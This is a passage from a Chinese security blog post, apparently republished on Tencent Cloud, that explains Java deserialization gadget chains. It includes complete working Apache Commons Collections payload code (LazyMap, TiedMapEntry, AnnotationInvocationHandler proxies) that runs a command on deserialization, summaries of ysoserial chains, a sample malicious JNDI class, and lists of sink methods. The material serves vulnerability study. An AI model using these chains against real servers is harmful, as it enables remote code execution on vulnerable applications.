declaredField.setAccessible(true);
declaredField.set(exception, tiedMapEntry);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload"));
oos.writeObject(exception);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload"));
ois.readObject();
ois.close();

最终的利用链路:

transform <= Lazy.get

​ <= TiedMapEntry.getValue

​ <= val.toString <= BadAttributeValueExpException.readObject

HashMap + TiedMapEntry

代码语言:javascript
复制
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private final Map map;
    private final Object key;
    
    public Object getKey() {
        return key;
    }

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);  // get!
    }
    
    public int hashCode() {
        Object value = getValue();  // getValue!
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
}

所以这里的 hashCode 也是直接能拿来用的。

transform <= Lazy.get <= TiedMapEntry.getValue <= hashCode <= ?

回顾一下 URLDNS,就是利用 HashMap 触发的 hashCode。

代码语言:javascript
复制
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

改造:

代码语言:javascript
复制
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
TiedMapEntry.hashCode()

然后就接上了。

代码语言:javascript
复制
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "233");

HashMap map = new HashMap<>();
map.put(tiedMapEntry, 1);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload"));
oos.writeObject(map);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload"));
ois.readObject();
ois.close();
image.png
image.png

AnnotationInvocationHandler

之前用的 TransformedMap 是利用的 AnnotationInvocationHandler 中 readObject 里的 setValue。

但 LazyMap 只有 get 了该怎么利用呢?AnnotationInvocationHandler 还可以继续用。

代码语言:javascript
复制
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    
    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)  // 不能有形参
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
            case "toString":
                return toStringImpl();
            case "hashCode":
                return hashCodeImpl();
            case "annotationType":
                return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);  // 这里调用了 get 方法

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }
}

接着我们的目标就变成了如何触发 invoke。

transform <= Lazy.get <= AnnotationInvocationHandler.invoke <= ?

如何才能触发 invoke?Java 动态代理。

代码语言:javascript
复制
class AnnotationInvocationHandler implements InvocationHandler, Serializable {

AnnotationInvocationHandler 已经实现了 InvocationHandler 接口

此外 Proxy 实现了序列化接口,我们只需要套一个 Proxy 就好了。

代码语言:javascript
复制
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

// outerMap.get("233");  // call calc

// 反射构造函数进行实例化
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Target.class, outerMap);

// dynamic proxy
Map proxyInstance = (Map) Proxy.newProxyInstance(
    Class.class.getClassLoader(),
    new Class[]{Map.class},
    (InvocationHandler) obj);  // 实例化 InvocationHandler

proxyMap.entrySet();  // invoke 中有限制只能调用无参函数

成功弹计算器。下一步自然是继续寻找在readObject中的反序列化后的对象又调用了无参函数的情况。

transform <= Lazy.get <= AnnotationInvocationHandler.invoke <= ? <= readObject

伪代码:

代码语言:javascript
复制
readObject(in) {
    obj = in.readObject();
    obj.entrySet();  // invoke 中有限制只能调用无参函数
}
image.png
image.png

需要注意,还有些条件,不能是这些函数 :),否则直接能打。

代码语言:javascript
复制
switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
}

所以上面这个 ReferenceMap 就没法利用了,继续找。

继续转换思路,看看有没别的办法。

AnnotationInvocationHandler 中的 readObject 有触发无参函数。

代码语言:javascript
复制
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // 这里
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name))
                    );
                }
            }
        }
    }
}

memberValues.entrySet(),只要这里的 memberValues 是我们动态代理后的 LazyMap 即可。

所以这里可以再套一层 AnnotationInvocationHandler 对象。

代码语言:javascript
复制
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

// outerMap.get("1");  // call calc

// 反射构造函数进行实例化
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj1 = construct.newInstance(Target.class, outerMap);

// dynamic proxy
Map proxyMap = (Map) Proxy.newProxyInstance(
    Class.class.getClassLoader(),
    new Class[]{Map.class},
    (InvocationHandler) obj1);  // 实例化 InvocationHandler

// proxyMap.entrySet();  // invoke 中有限制只能调用无参函数
// => memberValues.entrySet()
Object obj2 = construct.newInstance(Target.class, proxyMap);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload"));
oos.writeObject(obj2);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload"));
ois.readObject();
ois.close();

整理下 AnnotationInvocationHandler 起的作用:

  • 第一个 AnnotationInvocationHandler 是为了扩大触发目标:transform <= LazyMap.get() <= invoke <= ?
  • 第二个是为了寻找反序列化入口。

简化版调用栈:

代码语言:javascript
复制
ObjectInputStream.readObject
    AnnotationInvocationHandler.readObject
        Map($Proxy0).entrySet
            AnnotationInvocationHandler.invoke
                LazyMap.get
                    ChainedTransformer.transform

更实际的调用栈:

代码语言:javascript
复制
ObjectInputStream.readObject
	AnnotationInvocationHandler.readObject
		in.defaultReadObject  // 填充 fileds
			AnnotationInvocationHandler.readObject
		Map($Proxy0).entrySet
			AnnotationInvocationHandler.invoke
			    LazyMap.get
                    ChainedTransformer.transform

也就是说,一个对象中有引用,在反序列过程中,会递归的将引用继续反序列化。

所以在这里有两次 AnnotationInvocationHandler.readObject。

PS:用 IDEA 调试的时候会出现乱弹计算器,原因是调试器会默认自动计算一些调试信息,自动调用了一些函数。

缓解方案:序列化和反序列化过程分离一下,单独反序列化。

还有个小坑,由于 LazyMap.get 有做缓存,如果被调试器自动触发了不存在的 key,下次就不会触发了。

经测试,Java 1.8.71 失败,需要用以前的版本调试。

POP的艺术

https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#pop%E7%9A%84%E8%89%BA%E6%9C%AF

既然反序列化漏洞常见的修复方案是黑名单,就存在被绕过的风险,一旦出现新的POP链,原来的防御也就直接宣告无效了。

所以在反序列化漏洞的对抗史中,除了有大佬不断的挖掘新的反序列化漏洞点,更有大牛不断的探寻新的POP链。

POP已经成为反序列化区别于其他常规Web安全漏洞的一门特殊艺术。

既然如此,我们就用ysoserial这个项目,来好好探究一下现在常用的这些RCE类POP中到底有什么乾坤:

BeanShell1

  • 命令执行载体:bsh.Interpreter
  • 反序列化载体:PriorityQueue
  • PriorityQueue.readObject()反序列化所有元素后,通过comparator.compare()进行排序,该comparator被代理给XThis.Handler处理,其invoke()会调用This.invokeMethod()Interpreter解释器中解析包含恶意代码的compare方法并执行

C3P0

命令执行载体:bsh.Interpreter

反序列化载体:com.mchange.v2.c3p0.PoolBackedDataSource

代码语言:javascript
复制
PoolBackedDataSource.readObject()

进行到父类

代码语言:javascript
复制
PoolBackedDataSourceBase.readObject()

阶段,会调用

代码语言:javascript
复制
ReferenceIndirector$ReferenceSerialized.getObject()

获取对象,其中

代码语言:javascript
复制
InitialContext.lookup()

会去加载远程恶意对象并初始化,导致命令执行,有些同学可能不太清楚远程恶意对象的长相,举个简单的例子:

代码语言:javascript
复制
public class Malicious {
    public Malicious() {
        java.lang.Runtime.getRuntime().exec("calc.exe");
    }
}

Clojure

  • 命令执行载体:clojure.corecompfn__4727
  • 反序列化载体:HashMap
  • HashMap.readObject()反序列化各元素时,通过它的hashCode()得到hash值,而AbstractTableModel$ff19274a.hashCode()会从IPersistentMap中取hashCode键的值对象调用其invoke(),最终导致Clojure Shell命令字符串执行

CommonsBeanutils1

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:PriorityQueue
  • PriorityQueue.readObject()执行排序时,BeanComparator.compare()会根据BeanComparator.property (值为outputProperties 调用TemplatesImpl.getOutputProperties(),它在newTransformer()时会创建AbstractTranslet实例,导致精心构造的Java字节码被执行

CommonsCollections1

  • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
  • 反序列化载体:AnnotationInvocationHandler
  • 见前文

CommonsCollections2

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:PriorityQueue
  • PriorityQueue.readObject()执行排序时,TransformingComparator.compare()会调用InvokerTransformer.transform()转换元素,进而获取第一个元素TemplatesImplnewTransformer()并调用,最终导致命令执行

CommonsCollections3

  • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
  • 反序列化载体:AnnotationInvocationHandler
  • Transformer数组元素组成不同外,与CommonsCollections1基本一致

CommonsCollections4

  • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
  • 反序列化载体:PriorityQueue
  • PriorityQueue.readObject()执行排序时,TransformingComparator.compare()会调用ChainedTransformer.transform()转换元素,进而遍历执行Transformer数组中的每个元素,最终导致命令执行

CommonsCollections5

  • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
  • 反序列化载体:BadAttributeValueExpException
  • BadAttributeValueExpException.readObject()System.getSecurityManager()null时,会调用TiedMapEntry.toString(),它在getValue()时会通过LazyMap.get()取值,最终导致命令执行

CommonsCollections6

  • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
  • 反序列化载体:HashSet
  • HashSet.readObject()反序列化各元素后,会调用HashMap.put()将结果放进去,而它通过TiedMapEntry.hashCode()计算hash时,会调用getValue()触发LazyMap.get()导致命令执行

Groovy1

  • 命令执行载体:org.codehaus.groovy.runtime.MethodClosure
  • 反序列化载体:AnnotationInvocationHandler
  • AnnotationInvocationHandler.readObject()在通过memberValues.entrySet()获取Entry集合,该memberValues被代理给ConvertedClosure拦截entrySet方法,根据MethodClosure的构造最终会由ProcessGroovyMethods.execute()执行系统命令

Hibernate1

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:HashMap
  • HashMap.readObject()通过TypedValue.hashCode()计算hash时,ComponentType.getPropertyValue()会调用PojoComponentTuplizer.getPropertyValue()获取到TemplatesImpl.getOutputProperties方法并调用导致命令执行

Hibernate2

  • 命令执行载体:com.sun.rowset.JdbcRowSetImpl
  • 反序列化载体:HashMap
  • 执行过程与Hibernate1一致,但Hibernate2并不是传入TemplatesImpl执行系统命令,而是利用JdbcRowSetImpl.getDatabaseMetaData()调用connect()连接到远程RMI

JBossInterceptors1

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:org.jboss.interceptor.proxy.InterceptorMethodHandler
  • InterceptorMethodHandler.readObject()executeInterception()时,会根据SimpleInterceptorMetadata拿到TemplatesImpl放进ArrayList中,并传入SimpleInterceptionChain进行初始化,它在调用invokeNextInterceptor()时会导致命令执行

JSON1

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:HashMap
  • HashMap.readObject()将各元素放进HashMap时,会调用TabularDataSupport.equals()进行比较,它的JSONObject.containsValue()获取对象后在PropertyUtils.getProperty()内动态调用getOutputProperties方法,它被代理给CompositeInvocationHandlerImpl,其中转交给JdkDynamicAopProxy.invoke(),在AopUtils.invokeJoinpointUsingReflection()时会传入从AdvisedSupport.target字段中取出来的TemplatesImpl,最终导致命令执行

JavassistWeld1

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:org.jboss.weld.interceptor.proxy.InterceptorMethodHandler
  • 除JBoss部分包名存在差异外,与JBossInterceptors1基本一致

Jdk7u21

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:LinkedHashSet
  • LinkedHashSet.readObject()将各元素放进HashMap时,第二个元素会调用equals()与第一个元素进行比较,它被代理给AnnotationInvocationHandler进入equalsImpl(),在getMemberMethods()遍历TemplatesImpl的方法遇到getOutputProperties进行调用时,导致命令执行

MozillaRhino1

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:BadAttributeValueExpException
  • BadAttributeValueExpException.readObject()调用NativeError.toString()时,会在ScriptableObject.getProperty()中进入getImpl()ScriptableObject$Slot根据name获取到封装了Context.enter方法的MemberBox,并通过它的invoke()完成调用,而之后根据message调用TemplatesImpl.newTransformer()则会导致命令执行

Myfaces1

  • 命令执行载体:org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
  • 反序列化载体:HashMap
  • HashMap.readObject()通过ValueExpressionMethodExpression.hashCode()计算hash时,会由getMethodExpression()调用ValueExpression.getValue(),最终导致EL表达式执行

Myfaces2

  • 命令执行载体:org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
  • 反序列化载体:HashMap
  • 执行过程与Myfaces1一致,但Myfaces2的EL表达式并不是由使用者传入的,而是预制了一串加载远程恶意对象的表达式

ROME

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:HashMap
  • HashMap.readObject()通过ObjectBean.hashCode()计算hash时,会在ToStringBean.toString()阶段遍历TemplatesImpl所有字段的Setter和Getter并调用,当调用到getOutputProperties()时将导致命令执行

Spring1

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
  • SerializableTypeWrapperMethodInvokeTypeProvider.readObject()在调用TypeProvider.getType()时被代理给AnnotationInvocationHandler得到另一个Handler为AutowireUtilsObjectFactoryDelegatingInvocationHandler的代理,之后传给ReflectionUtils.invokeMethod()动态调用newTransformer方法时被第二个代理拦截,它的objectFactory字段是第三个代理,因此objectFactory.getObject()会获得TemplatesImpl,最终导致命令执行

Spring2

  • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
  • 反序列化载体:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
  • SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()在动态调用newTransformer方法时,被第二个代理拦截交给JdkDynamicAopProxy,它在AopUtils.invokeJoinpointUsingReflection()时会传入从AdvisedSupport.targetSource字段中取出来的TemplatesImpl,最终导致命令执行

小结

根据上面这些内容,我们可以得到几条简单的POP构造法则:

  • 当依赖中不存在可以执行命令的方法时,可以选择使用TemplatesImpl作为命令执行载体,并想办法去触发它的newTransformergetOutputProperties方法。
  • 可以作为入口的通用反序列化载体是 HashMapAnnotationInvocationHandlerBadAttributeValueExpExceptionPriorityQueue,它们都是依赖较少的JDK底层对象,区别如下:
    • HashMap,可以主动触发元素的hashCodeequals方法
    • AnnotationInvocationHandler,可以主动触发memberValues字段的setValue方法,本身也可以作为动态代理的Handler拦截如Map.entrySet等方法进入自己的invoke方法
    • BadAttributeValueExpException,可以主动触发val字段的toString方法
    • PriorityQueue,可以主动触发comparator字段的compare方法

自动化

source

代码语言:javascript
复制

hashCode
compare

sink

代码语言:javascript
复制
命令执行:
• java.lang.reflect.Method#invoke
• javax.naming.Context#lookup
• javax.naming.Context#bind
• java.lang.Runtime#exec
• java.lang.ProcessBuilder#ProcessBuilder
文件读取:
• java.sql.Driver#connect MySQL客户端任意文件读取
• org.xml.sax.XMLReader#parse
• javax.xml.parsers.SAXParser#parse
• javax.xml.parsers.DocumentBuilder#parse

Reference

https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021/03/25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Class Loader
    • 类与类加载器
      • 类加载机制
        • 类加载方式
          • URLClassLoader
          • Java 反射
            • Class类
              • 获取Class对象
                • 常用方法
                  • 判断对象是否为某个类的实例
                  • 反射创建实例
                  • 反射调用方法
                  • 反射操作成员变量
                  • 获得继承关系
                  • 反射执行命令
                • 动态代理
                  • 动态编译
                    • 脚本引擎执行js代码
                    • 序列化
                      • writeObject & readObject
                        • Demo
                      • 序列化结果
                        • readObject vs __wakeup
                        • 反序列化过程分析
                        • 如何利用?
                        • URLDNS
                        • Commons Collections
                          • 危险调用
                            • 寻找跳板
                              • 完整利用
                                • 小疑问
                                  • LazyMap
                                    • BadAttributeValueExpException + TiedMapEntry
                                    • HashMap + TiedMapEntry
                                    • AnnotationInvocationHandler
                                • POP的艺术
                                  • BeanShell1
                                    • C3P0
                                      • Clojure
                                        • CommonsBeanutils1
                                          • CommonsCollections1
                                            • CommonsCollections2
                                              • CommonsCollections3
                                                • CommonsCollections4
                                                  • CommonsCollections5
                                                    • CommonsCollections6
                                                      • Groovy1
                                                        • Hibernate1
                                                          • Hibernate2
                                                            • JBossInterceptors1
                                                              • JSON1
                                                                • JavassistWeld1
                                                                  • Jdk7u21
                                                                    • MozillaRhino1
                                                                      • Myfaces1
                                                                        • Myfaces2
                                                                          • ROME
                                                                            • Spring1
                                                                              • Spring2
                                                                                • 小结
                                                                                • 自动化
                                                                                  • source
                                                                                    • sink
                                                                                    • Reference
                                                                                    相关产品与服务
                                                                                    云数据库 MySQL
                                                                                    腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
                                                                                    领券
                                                                                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档